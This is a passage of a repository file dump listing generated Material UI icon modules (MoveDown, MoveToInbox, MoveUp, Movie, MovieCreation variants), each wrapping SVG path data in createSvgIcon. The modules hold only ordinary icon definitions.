    "path": "packages/mui-icons-material/lib/MoveDownRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.01 10.72c-.14 2.57 1.66 4.73 4.07 5.18l-.79-.79a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l2.59 2.59c.39.39.39 1.02 0 1.41l-2.58 2.6c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41l.88-.88v-.06c-3.64-.43-6.43-3.65-6.15-7.47C1.29 6.78 4.55 4 8.26 4H10c.55 0 1 .45 1 1s-.45 1-1 1H8.22c-2.7 0-5.07 2.04-5.21 4.72M15 11h5c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2h-5c-1.1 0-2 .9-2 2v3c0 1.1.9 2 2 2m5-2h-5V6h5zm0 11h-5c-1.1 0-2-.9-2-2v-3c0-1.1.9-2 2-2h5c1.1 0 2 .9 2 2v3c0 1.1-.9 2-2 2\"\n}), 'MoveDownRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoveDownSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 11c0 2.45 1.76 4.47 4.08 4.91l-1.49-1.49L7 13l4 4.01L7 21l-1.41-1.41 1.58-1.58v-.06C3.7 17.54 1 14.58 1 11c0-3.87 3.13-7 7-7h3v2H8c-2.76 0-5 2.24-5 5m19 0V4h-9v7zm-2-2h-5V6h5zm-7 4h9v7h-9z\"\n}), 'MoveDownSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoveDownSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 11c0 2.45 1.76 4.47 4.08 4.91l-1.49-1.49L7 13l4 4.01L7 21l-1.41-1.41 1.58-1.58v-.06C3.7 17.54 1 14.58 1 11c0-3.87 3.13-7 7-7h3v2H8c-2.76 0-5 2.24-5 5m19 0V4h-9v7zm-2-2h-5V6h5zm-7 4h9v7h-9z\"\n}), 'MoveDownSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoveDownTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 6h5v3h-5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 11c0 2.45 1.76 4.47 4.08 4.91l-1.49-1.49L7 13l4 4.01L7 21l-1.41-1.41 1.58-1.58v-.06C3.7 17.54 1 14.58 1 11c0-3.87 3.13-7 7-7h3v2H8c-2.76 0-5 2.24-5 5m19 0V4h-9v7zm-2-2h-5V6h5zm-7 4h9v7h-9z\"\n}, \"1\")], 'MoveDownTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoveDownTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 6h5v3h-5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 11c0 2.45 1.76 4.47 4.08 4.91l-1.49-1.49L7 13l4 4.01L7 21l-1.41-1.41 1.58-1.58v-.06C3.7 17.54 1 14.58 1 11c0-3.87 3.13-7 7-7h3v2H8c-2.76 0-5 2.24-5 5m19 0V4h-9v7zm-2-2h-5V6h5zm-7 4h9v7h-9z\"\n}, \"1\")], 'MoveDownTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoveToInbox.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H4.99c-1.11 0-1.98.9-1.98 2L3 19c0 1.1.88 2 1.99 2H19c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 12h-4c0 1.66-1.35 3-3 3s-3-1.34-3-3H4.99V5H19zm-3-5h-2V7h-4v3H8l4 4z\"\n}), 'MoveToInbox');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoveToInbox.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H4.99c-1.11 0-1.98.9-1.98 2L3 19c0 1.1.88 2 1.99 2H19c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 12h-4c0 1.66-1.35 3-3 3s-3-1.34-3-3H4.99V5H19zm-3-5h-2V7h-4v3H8l4 4z\"\n}), 'MoveToInbox');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoveToInboxOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 9h-2.55V6h-2.9v3H8l4 4zm3-6H4.99C3.88 3 3 3.9 3 5v14c0 1.1.88 2 1.99 2H19c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5v-3h3.56c.69 1.19 1.97 2 3.45 2s2.75-.81 3.45-2H19zm0-5h-4.99c0 1.1-.9 2-2 2s-2-.9-2-2H5l-.01-9H19z\"\n}), 'MoveToInboxOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoveToInboxOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 9h-2.55V6h-2.9v3H8l4 4zm3-6H4.99C3.88 3 3 3.9 3 5v14c0 1.1.88 2 1.99 2H19c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5v-3h3.56c.69 1.19 1.97 2 3.45 2s2.75-.81 3.45-2H19zm0-5h-4.99c0 1.1-.9 2-2 2s-2-.9-2-2H5l-.01-9H19z\"\n}), 'MoveToInboxOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoveToInboxRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 11h-3.56c-.36 0-.68.19-.86.5-.52.9-1.47 1.5-2.58 1.5s-2.06-.6-2.58-1.5c-.18-.31-.51-.5-.86-.5H5V5h14zm-4.21-4H13V7c0-.55-.45-1-1-1s-1 .45-1 1v3H9.21c-.45 0-.67.54-.35.85l2.79 2.79c.2.2.51.2.71 0l2.79-2.79c.31-.31.09-.85-.36-.85\"\n}), 'MoveToInboxRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoveToInboxRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 11h-3.56c-.36 0-.68.19-.86.5-.52.9-1.47 1.5-2.58 1.5s-2.06-.6-2.58-1.5c-.18-.31-.51-.5-.86-.5H5V5h14zm-4.21-4H13V7c0-.55-.45-1-1-1s-1 .45-1 1v3H9.21c-.45 0-.67.54-.35.85l2.79 2.79c.2.2.51.2.71 0l2.79-2.79c.31-.31.09-.85-.36-.85\"\n}), 'MoveToInboxRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoveToInboxSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zm-2 12h-4c0 1.66-1.35 3-3 3s-3-1.34-3-3H4.99V5H19zm-3-5h-2V7h-4v3H8l4 4z\"\n}), 'MoveToInboxSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoveToInboxSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zm-2 12h-4c0 1.66-1.35 3-3 3s-3-1.34-3-3H4.99V5H19zm-3-5h-2V7h-4v3H8l4 4z\"\n}), 'MoveToInboxSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoveToInboxTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.01 18c-1.48 0-2.75-.81-3.45-2H5v3h14v-3h-3.55c-.69 1.19-1.97 2-3.44 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 9h-2.55V6h-2.9v3H8l4 4zm3-6H4.99C3.88 3 3 3.9 3 5v14c0 1.1.88 2 1.99 2H19c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5v-3h3.56c.69 1.19 1.97 2 3.45 2s2.75-.81 3.45-2H19zm0-5h-4.99c0 1.1-.9 2-2 2s-2-.9-2-2H5l-.01-9H19z\"\n}, \"1\")], 'MoveToInboxTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoveToInboxTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.01 18c-1.48 0-2.75-.81-3.45-2H5v3h14v-3h-3.55c-.69 1.19-1.97 2-3.44 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 9h-2.55V6h-2.9v3H8l4 4zm3-6H4.99C3.88 3 3 3.9 3 5v14c0 1.1.88 2 1.99 2H19c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5v-3h3.56c.69 1.19 1.97 2 3.45 2s2.75-.81 3.45-2H19zm0-5h-4.99c0 1.1-.9 2-2 2s-2-.9-2-2H5l-.01-9H19z\"\n}, \"1\")], 'MoveToInboxTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoveUp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 13c0-2.45 1.76-4.47 4.08-4.91l-1.49 1.5L7 11l4-4.01L7 3 5.59 4.41l1.58 1.58v.06C3.7 6.46 1 9.42 1 13c0 3.87 3.13 7 7 7h3v-2H8c-2.76 0-5-2.24-5-5m10 0v7h9v-7zm7 5h-5v-3h5zM13 4h9v7h-9z\"\n}), 'MoveUp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoveUp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 13c0-2.45 1.76-4.47 4.08-4.91l-1.49 1.5L7 11l4-4.01L7 3 5.59 4.41l1.58 1.58v.06C3.7 6.46 1 9.42 1 13c0 3.87 3.13 7 7 7h3v-2H8c-2.76 0-5-2.24-5-5m10 0v7h9v-7zm7 5h-5v-3h5zM13 4h9v7h-9z\"\n}), 'MoveUp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoveUpOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 13c0-2.45 1.76-4.47 4.08-4.91l-1.49 1.5L7 11l4-4.01L7 3 5.59 4.41l1.58 1.58v.06C3.7 6.46 1 9.42 1 13c0 3.87 3.13 7 7 7h3v-2H8c-2.76 0-5-2.24-5-5m10 0v7h9v-7zm7 5h-5v-3h5zM13 4h9v7h-9z\"\n}), 'MoveUpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoveUpOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 13c0-2.45 1.76-4.47 4.08-4.91l-1.49 1.5L7 11l4-4.01L7 3 5.59 4.41l1.58 1.58v.06C3.7 6.46 1 9.42 1 13c0 3.87 3.13 7 7 7h3v-2H8c-2.76 0-5-2.24-5-5m10 0v7h9v-7zm7 5h-5v-3h5zM13 4h9v7h-9z\"\n}), 'MoveUpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoveUpRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.01 13.28c-.14-2.57 1.66-4.73 4.07-5.18l-.79.78c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l2.59-2.59c.39-.39.39-1.02 0-1.41L7.71 3.7a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.88.88v.06C3.54 6.48.75 9.7 1.03 13.52 1.29 17.22 4.55 20 8.26 20H10c.55 0 1-.45 1-1s-.45-1-1-1H8.22c-2.7 0-5.07-2.04-5.21-4.72M13 15v3c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2v-3c0-1.1-.9-2-2-2h-5c-1.1 0-2 .9-2 2m7 3h-5v-3h5zm0-14h-5c-1.1 0-2 .9-2 2v3c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2\"\n}), 'MoveUpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoveUpRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.01 13.28c-.14-2.57 1.66-4.73 4.07-5.18l-.79.78c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l2.59-2.59c.39-.39.39-1.02 0-1.41L7.71 3.7a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.88.88v.06C3.54 6.48.75 9.7 1.03 13.52 1.29 17.22 4.55 20 8.26 20H10c.55 0 1-.45 1-1s-.45-1-1-1H8.22c-2.7 0-5.07-2.04-5.21-4.72M13 15v3c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2v-3c0-1.1-.9-2-2-2h-5c-1.1 0-2 .9-2 2m7 3h-5v-3h5zm0-14h-5c-1.1 0-2 .9-2 2v3c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2\"\n}), 'MoveUpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoveUpSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 13c0-2.45 1.76-4.47 4.08-4.91l-1.49 1.5L7 11l4-4.01L7 3 5.59 4.41l1.58 1.58v.06C3.7 6.46 1 9.42 1 13c0 3.87 3.13 7 7 7h3v-2H8c-2.76 0-5-2.24-5-5m10 0v7h9v-7zm7 5h-5v-3h5zM13 4h9v7h-9z\"\n}), 'MoveUpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoveUpSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 13c0-2.45 1.76-4.47 4.08-4.91l-1.49 1.5L7 11l4-4.01L7 3 5.59 4.41l1.58 1.58v.06C3.7 6.46 1 9.42 1 13c0 3.87 3.13 7 7 7h3v-2H8c-2.76 0-5-2.24-5-5m10 0v7h9v-7zm7 5h-5v-3h5zM13 4h9v7h-9z\"\n}), 'MoveUpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoveUpTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 15h5v3h-5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 13c0-2.45 1.76-4.47 4.08-4.91l-1.49 1.5L7 11l4-4.01L7 3 5.59 4.41l1.58 1.58v.06C3.7 6.46 1 9.42 1 13c0 3.87 3.13 7 7 7h3v-2H8c-2.76 0-5-2.24-5-5m10 0v7h9v-7zm7 5h-5v-3h5zM13 4h9v7h-9z\"\n}, \"1\")], 'MoveUpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoveUpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 15h5v3h-5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 13c0-2.45 1.76-4.47 4.08-4.91l-1.49 1.5L7 11l4-4.01L7 3 5.59 4.41l1.58 1.58v.06C3.7 6.46 1 9.42 1 13c0 3.87 3.13 7 7 7h3v-2H8c-2.76 0-5-2.24-5-5m10 0v7h9v-7zm7 5h-5v-3h5zM13 4h9v7h-9z\"\n}, \"1\")], 'MoveUpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Movie.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 4 2 4h-3l-2-4h-2l2 4h-3l-2-4H8l2 4H7L5 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4z\"\n}), 'Movie');"
  },
  {
    "path": "packages/mui-icons-material/lib/Movie.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 4 2 4h-3l-2-4h-2l2 4h-3l-2-4H8l2 4H7L5 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4z\"\n}), 'Movie');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovieCreation.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 4 2 4h-3l-2-4h-2l2 4h-3l-2-4H8l2 4H7L5 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4z\"\n}), 'MovieCreation');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovieCreation.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 4 2 4h-3l-2-4h-2l2 4h-3l-2-4H8l2 4H7L5 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4z\"\n}), 'MovieCreation');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovieCreationOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.76 10H20v8H4V6.47M22 4h-4l2 4h-3l-2-4h-2l2 4h-3l-2-4H8l2 4H7L5 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2z\"\n}), 'MovieCreationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovieCreationOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.76 10H20v8H4V6.47M22 4h-4l2 4h-3l-2-4h-2l2 4h-3l-2-4H8l2 4H7L5 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2z\"\n}), 'MovieCreationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovieCreationRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 4 1.82 3.64c.08.16-.04.36-.22.36h-1.98c-.38 0-.73-.21-.89-.55L15 4h-2l1.82 3.64c.08.16-.04.36-.22.36h-1.98c-.38 0-.73-.21-.89-.55L10 4H8l1.82 3.64c.08.16-.04.36-.22.36H7.62c-.38 0-.73-.21-.9-.55L5 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V5c0-.55-.45-1-1-1z\"\n}), 'MovieCreationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovieCreationRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 4 1.82 3.64c.08.16-.04.36-.22.36h-1.98c-.38 0-.73-.21-.89-.55L15 4h-2l1.82 3.64c.08.16-.04.36-.22.36h-1.98c-.38 0-.73-.21-.89-.55L10 4H8l1.82 3.64c.08.16-.04.36-.22.36H7.62c-.38 0-.73-.21-.9-.55L5 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V5c0-.55-.45-1-1-1z\"\n}), 'MovieCreationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovieCreationSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 4 2 4h-3l-2-4h-2l2 4h-3l-2-4H8l2 4H7L5 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4z\"\n}), 'MovieCreationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovieCreationSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 4 2 4h-3l-2-4h-2l2 4h-3l-2-4H8l2 4H7L5 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4z\"\n}), 'MovieCreationSharp');"
  },
  {
